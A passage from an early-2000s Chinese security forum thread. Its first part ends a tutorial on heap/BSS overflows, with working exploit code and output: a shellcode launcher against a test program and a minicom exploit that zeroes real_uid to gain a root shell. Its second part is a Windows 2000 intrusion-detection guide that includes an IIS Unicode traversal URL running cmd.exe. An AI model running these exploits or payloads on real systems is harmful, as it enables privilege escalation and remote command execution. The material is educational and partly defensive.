BUFSIZE + 12 + i; buf[index] = (stackaddr >> (i * 8)) & 255; } /* ----------------------------- */ for (i = 0; i < sizeof(u_long); i++) /* setup SP */ { index = BUFSIZE + 16 + i; buf[index] = (stackaddr >> (i * 8)) & 255; } /* ----------------------------- */ for (i = 0; i < sizeof(u_long); i++) /* setup PC */ { index = BUFSIZE + 20 + i; buf[index] = (argvaddr >> (i * 8)) & 255; } execl(VULPROG, VULPROG, buf, shellcode, NULL); return 0; } ----------------------------------------------------------------------------- 我们来看一下执行的结果: [warning3@testserver vulpkg4]$ ./exploit4 20 393 trying address 0xbffffe49 for argv[2] trying address 0xbffffcac for sp diff=36 [vulprog] argv[2] = 0xbffffe49 [vulprog] sp = 0xbffffcac before: bx = 0x401041b4, si = 0xbffffd04, di = 0x3 bp = 0xbffffcb8, sp = 0xbffffcac, pc = 0x80485c9 after: bx = 0x1010101, si = 0x1010101, di = 0x1010101 bp = 0xbffffcac, sp = 0xbffffcac, pc = 0xbffffe49 bash$ 我们已经看到,在这些例子中,heap区的溢出可以导致很大的安全问题。而在真实的环境中,heap区的敏感数据也可能被覆盖。例如: 函数 原因 1. *gets()/*printf(), *scanf() __iob (FILE)结构储存在heap 2. popen() __iob (FILE)结构储存在heap 3. *dir() (readdir, seekdir, ...) DIR 结构 (dir/heap buffers) 4. atexit() 静态/全局函数指针 5. strdup() 在heap区动态分配数据 7. getenv() 储存数据在heap区 8. tmpnam() 储存数据在heap区 9. malloc() 链指针 10. rpc callback 函数 函数指针 11. windows callback 函数 函数指针保存在heap区 12. signal handler pointers 函数指针(注意:unix在内核中跟踪这些信号, in cygnus (gcc for win), 而不是在heap中) printf(),fget(),readir(),seekdir()等函数为FILE结构在heap中分配的空间可以被重写。atexit()的函数指针将在程序中断时被调用。strdup()会将字符串(如文件名,口令等等)储存在heap区。malloc()的链指针能被用来非法访问内存。getenv()将数据储存在heap中,允许我们修改$HOME等变量。svc/rpc注册函数(librpc,libnsl等等)将回叫函数指针储存在heap中. 现在我们来看一个真实的例子。版本低于1.81.1的minicom有不少缓冲区溢出的漏洞。 其中一个是: case ‘t‘: /* Terminal type */ 溢出 ---> strcpy(termtype, optarg); #ifdef __linux__ /* Bug in older libc‘s (< 4.5.26 I think) */ if ((s = getenv(\"TERMCAP\")) != NULL && *s != ‘/‘) unsetenv(\"TERMCAP\"); #endif termtype是static型的数组,也就是在BSS区。现在我们看看是否这块内存中有什么重要 的东西。在minicom.h中,我们看到了: EXTERN int real_uid; /* 真实的用户id */ EXTERN int real_gid; /* 真实的组id */ EXTERN int eff_uid; /* 有效的用户id */ EXTERN int eff_gid; /* 有效的组id */ 如果我们能够修改real_uid,那我们就可能获得root的特权。先让我们看看它离termtype有多员,我们在minicom.c中插入一行代码: printf (\"real_uid is at: %x \" \"termtype is at: %x \", &real_uid,termtype); 输出结果如下: real_uid is at: 80664b4 termtype is at: 8066480 很好,real_uid的地址比termtype高52个字节.我们只要将第53,54,55,56字节赋为0即可.但字符串中只有最后一个字节(终止符)才能为0,所以我们不得不执行4次覆盖。getopg()可以重复的读取一个参数(这里是 -t),因此我们先让它读取termtype+55长的字符串,这将使realid的最后一个字节为0。然后依次用termtype+54,termtype+53,termtype+52来覆盖。这样就会使realid的四个字节都变成0了。 #include #include #include #define OFFSET 52 /* if you figure this out, you could try defining it */ //#define UTTY \"/dev/ttyp0\" char * makestring (int ch, int len) { static char b[500]; int i; for (i=0 ; i { b = ch; } b = 0; return b; } int main (int argc, char **argv) { char bleh[4][60]; strcpy (bleh[0],makestring(255,OFFSET+3));/* 为了覆盖termtype+55处的字节*/ strcpy (bleh[1],makestring(255,OFFSET+2));/* 为了覆盖termtype+54处字节*/ strcpy (bleh[2],makestring(255,OFFSET+1));/* 为了覆盖termtype+53处字节*/ strcpy (bleh[3],makestring(255,OFFSET)); /* 为了覆盖termtype+52处字节*/ #ifdef UTTY execl (\"/usr/bin/minicom\",\"minicom\", \"-t\",bleh[0],\"-t\",bleh[1], \"-t\",bleh[2],\"-t\",bleh[3], \"-t\",\"vt100\",\"-s\", \"-p\",UTTY,NULL); #else execl (\"/usr/bin/minicom\",\"minicom\", \"-t\",bleh[0],\"-t\",bleh[1], \"-t\",bleh[2],\"-t\",bleh[3], \"-t\",\"vt100\", \"-s\",NULL); #endif return 0; } 所以现在real_uid变成了0x00000000 (root) 我们可以通过minicom来执行一个root shell.在执行了上述代码以后,你会发现minicom的显示变成乱字符了。我们可以在另一个终端重新起一个minicom,看一下它的菜单,选择 `Filenames and paths‘: A - Download directory : /tmp B - Upload directory : C - Script directory : D - Script program : runscript E - Kermit program : /usr/bin/kermit Change which setting? 我们只要将`E- Kermit program‘ 中的/usr/bin/kermit改成/bin/bash,我们就可以获得 一个root shell了。切换回原先的终端,修改‘E‘项,然后按CTRL+A+K启动kermit, bash# 这是heap/BSS溢出的一个实例。这样的例子正在逐渐地增加,前不久CERT公布的wuftp 2.5.0的mapped_path漏洞就是一个heap溢出(longjmp/setjmp)的新例子,有兴趣的可以自己看一下。 四. 可能的解决方法 ~~~~~~~~~~~~~~~~~~ 很明显,防止基于heap的溢出的最佳方法就是编写优秀的代码!同堆栈溢出一样,并没有一种方法能真正防止heap溢出.我们可以使用Richard Jones和Paul Kelly开发的带边界检查的gcc/egcs(它应该可以检查大部分的潜在的溢出问题).这个程序可以从Richard Jone的主页上下载: http://www.annexia.demon.co.uk 它能检查大多数由于人为的疏忽而导致的溢出.例如: \"int array[10]; for (i = 0; i <= 10; i++) array = 1\". 注意: 对于Windows系统,可以用NuMega的边界检查程序.它的功能和带边界检查的gcc类似. 我们总是可以做一个不可执行heap的patch(就想前面所提到的,大多数系统都有一个可执行的heap).在和Solar Designer交换意见以后,他提到不可执行heap的主要问题是可能会影响到编译器,解释器等等 注意: 即使一个heap不可执行,也并不能解决溢出的问题.因为尽管我们不能在heap执行指令.我们仍然可以覆盖在heap中的数据.(就象前面minicom的例子) 另一个可能的方法就是做一个\"HeapGuard\",类似Crispin Cowan的StackGuard.他们已经开发了一个新的PointGuard,用来防止函数指针的溢出以及jmpbuf的溢出,据称经过配置也可以防止stack/heap/bss中变量的非法覆盖.详细资料可以参看他们新发表的文章:<> 50万MP3免费下载,点击支持本站发展! ;) |
|
25楼#
发布于:2002-07-19 17:42
文章:win2000 server入侵监测
谈谈win2000 server的安全配置,经过精心配置的win2000服务器可以防御90%以上的入侵和渗透,但是,就象我所提到的:系统安全是一个连续的过程,随着新漏洞的出现和服务器应用的变化,系统的安全状况也在不断变化着;同时由于攻防是矛盾的统一体,道消魔长和魔消道长也在不断的转换中,因此,再高明的系统管理员也不能保证一台正在提供服务的服务器长时间绝对不被入侵。 所以,安全配置服务器并不是安全工作的结束,相反却是漫长乏味的安全工作的开始,本文我们将初步探讨win2000服务器入侵检测的初步技巧,希望能帮助您长期维护服务器的安全。 本文中所说的入侵检测指的是利用win2000 server自身的功能及系统管理员自己编写的软件/脚本进行的检测,使用防火墙(firewall)或入侵监测系统(ids)的技巧并不在本文的讨论范围之内。 现在假定:我们有一台win2000 server的服务器,并且经过了初步的安全配置(关于安全配置的详情可以参阅win2000 server安全配置入门<一>),在这种情况下,大部分的入侵者将被拒之门外。(哈哈,我管理员可以回家睡大觉去了)慢着,我说的是大部分,不是全部,经过初步安全配置的服务器虽然可以防御绝大多数的script kid(脚本族-只会用别人写的程序入侵服务器的人),遇到了真正的高手,还是不堪一击的。虽然说真正的高手不会随便进入别人的服务器,但是也难保有几个品行不端的邪派高手看上了你的服务器。(我真的这么衰么?)而且,在漏洞的发现与补丁的发布之间往往有一段时间的真空,任何知道漏洞资料的人都可以乘虚而入,这时,入侵检测技术就显得非常的重要。 入侵的检测主要还是根据应用来进行,提供了相应的服务就应该有相应的检测分析系统来进行保护,对于一般的主机来说,主要应该注意以下几个方面: 1、 基于80端口入侵的检测 www服务大概是最常见的服务之一了,而且由于这个服务面对广大用户,服务的流量和复杂度都很高,所以针对这个服务的漏洞和入侵技巧也最多。对于nt来说,iis一直是系统管理员比较头疼的一部分(恨不得关了80端口),不过好在iis自带的日志功能从某种程度上可以成为入侵检测的得力帮手。iis自带的日志文件默认存放在system32/logfiles目录下,一般是按24小时滚动的,在iis管理器中可以对它进行详细的配置。(具体怎么配我不管你,不过你要是不详细记录,回头查不到入侵者的ip可不要哭) 现在我们再假设(怎么老是假设呀,烦不烦?)别急呀,我不能为了写这篇文章真的去黑掉一台主机,所以只好假设了,我们假设一台web服务器,开放了www服务,你是这台服务器的系统管理员,已经小心地配置了iis,使用w3c扩展的日志格式,并至少记录了时间(time)、客户端ip(client ip)、方法(method)、uri资源(uri stem)、uri查询(uri query),协议状态(protocol status),我们用最近比较流行的unicode漏洞来进行分析:打开ie的窗口,在地址栏输入:127.0.0.1/scripts/..%c1% 1c../winnt/system32/cmd.exe?/c+dir 默认的情况下你可以看到目录列表(什么?你已经做过安全配置了,看不到?恢复默认安装,我们要做个实验),让我们来看看iis的日志都记录了些什么,打开ex010318.log(ex代表w3c扩展格式,后面的一串数字代表日志的记录日期):07:42:58 127.0.0.1 get /scripts/..\\../winnt/system32\\cmd.exe /c+dir 200上面这行日志表示在格林威治时间07:42:58(就是北京时间23:42:58),有一个家伙(入侵者)从127.0.0.1的ip在你的机器上利用unicode漏洞(%c1%1c被解码为\"\\\",实际的情况会因为windows语言版本的不同而有略微的差别)运行了cmd.exe,参数是/c dir,运行结果成功(http 200代表正确返回)。(哇,记录得可真够全的,以后不敢随便乱玩unicode了) 大多数情况下,iis的日志会忠实地记录它接收到的任何请求(也有特殊的不被iis记录的攻击,这个我们以后再讨论),所以,一个优秀的系统管理员应该擅长利用这点来发现入侵的企图,从而保护自己的系统。但是,iis的日志动辄数十兆、流量大的网站甚至数十g,人工检查几乎没有可能,唯一的选择就是使用日志分析软件,用任何语言编写一个日志分析软件(其实就是文本过滤器)都非常简单,不过考虑到一些实际情况(比如管理员不会写程序,或者服务器上一时找不到日志分析软件),我可以告诉大家一个简单的方法,比方说你想知道有没有人从80端口上试图取得你的global.asa文件,可以使用以下的cmd命令:find \"global.asa\" ex010318.log /i这个命令使用的是nt自带的find.exe工具(所以不怕紧急情况找不着),可以轻松的从文本文件中找到你想过滤的字符串,\"global.asa\"是需要查询的字符串,ex010318.log是待过滤的文本文件,/i代表忽略大小写。因为我无意把这篇文章写成微软的help文档,所以关于这个命令的其他参数以及它的增强版findstr.exe的用法请去查看win2000的帮助文件。 无论是基于日志分析软件或者是find命令,你都可以建立一张敏感字符串列表,包含已有的iis漏洞(比如\"+.htr\")以及未来将要出现的漏洞可能会调用的资源(比如global.asa或者cmd.exe),通过过滤这张不断更新的字符串表,一定可以尽早了解入侵者的行动。 需要提醒的是,使用任何日志分析软件都会占用一定的系统资源,因此,对于iis日志分析这样低优先级的任务,放在夜里空闲时自动执行会比较合适,如果再写一段脚本把过滤后的可疑文本发送给系统管理员,那就更加完美了。同时,如果敏感字符串表较大,过滤策略复杂,我建议还是用c写一个专用程序会比较合算。 2、 基于安全日志的检测 通过基于iis日志的入侵监测,我们能提前知道窥伺者的行踪(如果你处理失当,窥伺者随时会变成入侵者),但是iis日志不是万能的,它在某种情况下甚至不能记录来自80端口的入侵,根据我对iis日志系统的分析,iis只有在一个请求完成后才会写入日志,换言之,如果一个请求中途失败,日志文件中是不会有它的踪影的(这里的中途失败并不是指发生http400错误这样的情况,而是从tcp层上没有完成http请求,例如在post大量数据时异常中断),对于入侵者来说,就有可能绕过日志系统完成大量的活动。 而且,对于非80 only的主机,入侵者也可以从其它的服务进入服务器,因此,建立一套完整的安全监测系统是非常必要的。 win2000自带了相当强大的安全日志系统,从用户登录到特权的使用都有非常详细的记录,可惜的是,默认安装下安全审核是关闭的,以至于一些主机被黑后根本没法追踪入侵者。所以,我们要做的第一步是在管理工具-本地安全策略-本地策略-审核策略中打开必要的审核,一般来说,登录事件与账户管理是我们最关心的事件,同时打开成功和失败审核非常必要,其他的审核也要打开失败审核,这样可以使得入侵者步步维艰,一不小心就会露出马脚。仅仅打开安全审核并没有完全解决问题,如果没有很好的配置安全日志的大小及覆盖方式,一个老练的入侵者就能够通过洪水般的伪造入侵请求覆盖掉他真正的行踪。通常情况下,将安全日志的大小指定为50mb并且只允许覆盖7天前的日志可以避免上述情况的出现。 设置了安全日志却不去检查跟没有设置安全日志几乎一样糟糕(唯一的优点是被黑了以后可以追查入侵者),所以,制定一个安全日志的检查机制也是非常重要的,作为安全日志,推荐的检查时间是每天上午,这是因为,入侵者喜欢夜间行动(速度快呀,要不你入侵到一半的时候连不上了,那可是哭都哭不出来)上午上班第一件事正好看看日志有没有异常,然后就可以放心去做其他的事了。如果你喜欢,也可以编写脚本每天把安全日志作为邮件发送给你(别太相信这个了,要是哪个高手上去改了你的脚本,每天发送\"平安无事\"……) 除了安全日志,系统日志和应用程序日志也是非常好的辅助监测工具,一般来说,入侵者除了在安全日志中留下痕迹(如果他拿到了admin权限,那么他一定会去清除痕迹的),在系统和应用程序日志中也会留下蛛丝马迹,作为系统管理员,要有不放过任何异常的态度,这样入侵者就很难隐藏他们的行踪。 3、 文件访问日志与关键文件保护 除了系统默认的安全审核外,对于关键的文件,我们还要加设文件访问日志,记录对他们的访问。 文件访问有很多的选项:访问、修改、执行、新建、属性更改......一般来说,关注访问和修改就能起到很大的监视作用。 例如,如果我们监视了系统目录的修改、创建,甚至部分重要文件的访问(例如cmd.exe,net.exe,system32目录),那么,入侵者就很难安放后门而不引起我们的注意,要注意的是,监视的关键文件和项目不能太多,否则不仅增加系统负担,还会扰乱日常的日志监测工作 (哪个系统管理员有耐心每天看四、五千条垃圾日志?) 关键文件不仅仅指的是系统文件,还包括有可能对系统管理员/其他用户构成危害的任何文件,例如系统管理员的配置、桌面文件等等,这些都是有可能用来窃取系统管理员资料/密码的。 4、 进程监控 进程监控技术是追踪木马后门的另一个有力武器,90%以上的木马和后门是以进程的形式存在的(也有以其他形式存在的木马,参见《揭开木马的神秘面纱三》),作为系统管理员,了解服务器上运行的每个进程是职责之一(否则不要说安全,连系统优化都没有办法做),做一份每台服务器运行进程的列表非常必要,能帮助管理员一眼就发现入侵进程,异常的用户进程或者异常的资源占用都有可能是非法进程。除了进程外,dll也是危险的东西,例如把原本是exe类型的木马改写为dll后,使用rundll32运行就比较具有迷惑性。 5、 注册表校验 一般来说,木马或者后门都会利用注册表来再次运行自己,所以,校验注册表来发现入侵也是常用的手法之一。一般来说,如果一个入侵者只懂得使用流行的木马,那么由于普通木马只能写入特定的几个键值(比如run、runonce等等),查找起来是相对容易的,但是对于可以自己编写/改写木马的人来说,注册表的任何地方都可以藏身,靠手工查找就没有可能了。(注册表藏身千变万化,例如需要特别提出来的fakegina技术,这种利用winnt外嵌登录dll(ginadll)来获得用户密码的方法最近比较流行,一旦中招,登录用户的密码就会被记录无遗,具体的预防方法我这里就不介绍了。)应对的方法是监控注册表的任何改动,这样改写注册表的木马就没有办法遁形了。监控注册表的软件非常多,很多追查木马的软件都带有这样的功能,一个监控软件加上定期对注册表进行备份,万一注册表被非授权修改,系统管理员也能在最短的时间内恢复。 6、端口监控 虽然说不使用端口的木马已经出现,但是大部分的后门和木马还是使用tcp连接的,监控端口的状况对于由于种种原因不能封锁端口的主机来说就是非常重要的了,我们这里不谈使用ndis网卡高级编程的ids系统,对于系统管理员来说,了解自己服务器上开放的端口甚至比对进程的监控更加重要,常常使用netstat查看服务器的端口状况是一个良好的习惯,但是并不能24小时这样做,而且nt的安全日志有一个坏习惯,喜欢记录机器名而不是ip(不知道比尔盖子怎么想的),如果你既没有防火墙又没有入侵检测软件,倒是可以用脚本来进行ip日志记录的,看着这个命令: netstat -n -p tcp 10>>netstat.log,这个命令每10秒钟自动查看一次tcp的连接状况,基于这个命令我们做一个netlog.bat文件: time /t>>netstat.log netstat -n -p tcp 10>>netstat.log 这个脚本将会自动记录时间和tcp连接状态,需要注意的是:如果网站访问量比较大,这样的操作是需要消耗一定的cpu时间的,而且日志文件将越来越大,所以请慎之又慎。(要是做个脚本就完美无缺,谁去买防火墙?:) 一旦发现异常的端口,可以使用特殊的程序来关联端口、可执行文件和进程(如inzider就有这样的功能,它可以发现服务器监听的端口并找出与该端口关联的文件,inzider可以从http://www.nttoolbox.com下载到),这样无论是使用tcp还是udp的木马都无处藏身。 7、终端服务的日志监控 单独将终端服务(terminal service)的日志监控分列出来是有原因的,微软win2000服务器版中自带的终端服务terminal service是一个基于远程桌面协议(rdp)的工具,它的速度非常快,也很稳定,可以成为一个很好的远程管理软件,但是因为这个软件功能强大而且只受到密码的保护,所以也非常的危险,一旦入侵者拥有了管理员密码,就能够象本机一样操作远程服务器(不需要高深的nt命令行技巧,不需要编写特殊的脚本和程序,只要会用鼠标就能进行一切系统管理操作,实在是太方便、也实在是太可怕了)。虽然很多人都在使用终端服务来进行远程管理,但是,并不是人人都知道如何对终端服务进行审核,大多数的终端服务器上并没有打开终端登录的日志,其实打开日志审核是很容易的,在管理工具中打开远程控制服务配置(terminal service configration),点击\"连接\",右击你想配置的rdp服务(比如 rdp-tcp(microsoft rdp 5.0),选中书签\"权限\",点击左下角的\"高级\",看见上面那个\"审核\"了么?我们来加入一个everyone组,这代表所有的用户,然后审核他的\"连接\"、\"断开\"、\"注销\"的成功和\"登录\"的成功和失败就足够了,审核太多了反而不好,这个审核是记录在安全日志中的,可以从\"管理工具\"->\"日志查看器\"中查看。现在什么人什么时候登录我都一清二楚了,可是美中不足的是:这个破烂玩艺居然不记录客户端的ip(只能查看在线用户的ip),而是华而不实的记录什么机器名,倒!要是别人起个pig的机器名你只好受他的嘲弄了,不知道微软是怎么想的,看来还是不能完全依赖微软呀,我们自己来吧?写个程序,一切搞定,你会c么?不会?vb呢?也不会?delphi?……什么?你什么编程语言都不会?我倒,毕竟系统管理员不是程序员呀,别急别急,我给你想办法,我们来建立一个bat文件,叫做tslog.bat,这个文件用来记录登录者的ip,内容如下: time /t >>tslog.log netstat -n -p tcp | find \":3389\">>tslog.log start explorer 我来解释一下这个文件的含义: 第一行是记录用户登录的时间,time /t的意思是直接返回系统时间(如果不加/t,系统会等待你输入新的时间),然后我们用追加符号\">>\"把这个时间记入tslog.log作为日志的时间字段; 第二行是记录用户的ip地址,netstat是用来显示当前网络连接状况的命令,-n表示显示ip和端口而不是域名、协议,-ptcp是只显示tcp协议,然后我们用管道符号\"|\"把这个命令的结果输出给find命令,从输出结果中查找包含\":3389\"的行(这就是我们要的客户的ip所在的行,如果你更改了终端服务的端口,这个数值也要作相应的更改),最后我们同样把这个结果重定向到日志文件tslog.log中去,于是在slog.log文件中,记录格式如下: 22:40 tcp 192.168.12.28:3389 192.168.10.123:4903 established 22:54 tcp 192.168.12.28:3389 192.168.12.29:1039 established 也就是说只要这个tslog.bat文件一运行,所有连在3389端口上的ip都会被记录,那么如何让这个批处理文件自动运行呢?我们知道,终端服务允许我们为用户自定义起始的程序,在终端服务配置中,我们覆盖用户的登录脚本设置并指定tslog.bat为用户登录时需要打开的脚本,这样每个用户登录后都必须执行这个脚本,因为默认的脚本(相当于shell环境)是explorer(资源管理器),所以我在tslog.bat的最后一行加上了启动explorer的命令startexplorer,如果不加这一行命令,用户是没有办法进入桌面的!当然,如果你只需要给用户特定的shell: 例如cmd.exe或者word.exe你也可以把start explorer替换成任意的shell。这个脚本也可以有其他的写法,作为系统管理员,你完全可以自由发挥你的想象力、自由利用自己的资源,例如写一个脚本把每个登录用户的ip发送到自己的信箱对于重要的服务器也是一个很好的方法。正常情况下一般的用户没有查看终端服务设置的权限,所以他不会知道你对登录进行了ip审核,只要把tslog.bat文件和tslog.log文件放在比较隐蔽的目录里就足够了,不过需要注意的是这只是一个简单的终端服务日志策略,并没有太多的安全保障措施和权限机制,如果服务器有更高的安全要求,那还是需要通过编程或购买入侵监测软件来完成的。 8、陷阱技术 早期的陷阱技术只是一个伪装的端口服务用来监测扫描,随着矛和盾的不断升级,现在的陷阱服务或者陷阱主机已经越来越完善,越来越象真正的服务,不仅能截获半开式扫描,还能伪装服务的回应并记录入侵者的行为,从而帮助判断入侵者的身份。 我本人对于陷阱技术并不是非常感兴趣,一来从技术人员角度来说,低调行事更符合安全的原则;二来陷阱主机反而成为入侵者跳板的情况并不仅仅出现在小说中,在现实生活中也屡见不鲜,如果架设了陷阱反而被用来入侵,那真是偷鸡不成了。 记得coolfire说过一句话,可以用来作为对陷阱技术介绍的一个结束:在不了解情况时,不要随便进入别人的系统,因为你永远不能事先知道系统管理员是真的白痴或者伪装成白痴的天才...... 入侵监测的初步介绍就到这里,在实际运用中,系统管理员对基础知识掌握的情况直接关系到他的安全敏感度,只有身经百战而又知识丰富、仔细小心的系统管理员才能从一点点的蛛丝马迹中发现入侵者的影子,未雨绸缪,扼杀入侵的行动。 |
|
26楼#
发布于:2002-07-23 15:24
谢谢ysdriver,
这贴的分已经放过了,ysdriver要是要分的话,找一个我没放过分的贴子,跟一贴,说一下要多少分。 |
|
|
上一页
下一页